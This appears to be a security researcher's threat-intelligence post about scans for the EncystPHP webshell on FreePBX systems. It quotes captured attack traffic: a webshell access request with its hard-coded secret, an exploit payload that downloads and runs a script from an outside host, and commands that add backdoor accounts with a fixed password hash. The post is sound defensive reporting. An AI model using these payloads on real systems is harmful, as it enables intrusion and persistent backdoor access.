Last week, I wrote about attackers scanning for various webshells, hoping to find some that do not require authentication or others that use well-known credentials. But some attackers are paying attention and are deploying webshells with more difficult-to-guess credentials. Today, I noticed some scans for what appears to be the “EncystPHP” web shell. Fortinet wrote about this webshell back in January. It appears to be a favorite among attackers compromising vulnerable FreePBX systems.
The requests I observed look like:
GET /admin/modules/phones/ajax.php?md5=cf710203400b8c466e6dfcafcf36a411
Host: [victim ip address]:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
This URL matches what Fortinet reported back in January.
The parameter name “md5” is a bit misleading. The webshell will just compare the string. The parameter is not necessarily the MD5 hash of a specific “password”; any string will work as long as it matches the hard-coded string in the webshell. The string above has the correct length for an MD5 hash, but I wasn’t able to find it in common MD5 hash databases. It is very possible that only a few different values are used across different attack campaigns. Many attackers may just “copy/paste” the code, including this access secret.
Currently, these probes originate from %%ip:160.119.76.250%%, an IP address located in the Netherlands. The IP address hosts an unconfigured web server.
The same IP address is also probing for various FreePBX vulnerabilities, for example:
/restapps/applications.php?linestate=$$LINESTATE$$&user=100
Context: ext-localAction: Originate
Channel: Local/DONTCALL@macro-dial
Application: system
data: wget http://45.95.147.178/k.php -O /tmp/k;bash /tmp/k
This request also matches the scans reported by Fortinet, and it returns the EncystPHP webshell. This version is also adding the following backdoor accounts:
echo 'root:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' | chpasswd -e 2>/dev/null || true
echo 'hima:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' | chpasswd -e 2>/dev/null || true
echo 'asterisk:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' | chpasswd -e 2>/dev/null || true
echo 'sugarmaint:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' | chpasswd -e 2>/dev/null || true
echo 'spamfilter:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' | chpasswd -e 2>/dev/null || true
echo 'asteriskuser:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' | chpasswd -e 2>/dev/null || true
echo 'supports:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' | chpasswd -e 2>/dev/null || true
echo 'freepbxuser:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' | chpasswd -e 2>/dev/null || true
echo 'supermaint:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' | chpasswd -e 2>/dev/null || true
echo 'juba:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' | chpasswd -e 2>/dev/null || true
If you are using FreePBX, you may want to check for these accounts just to make sure.
—
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
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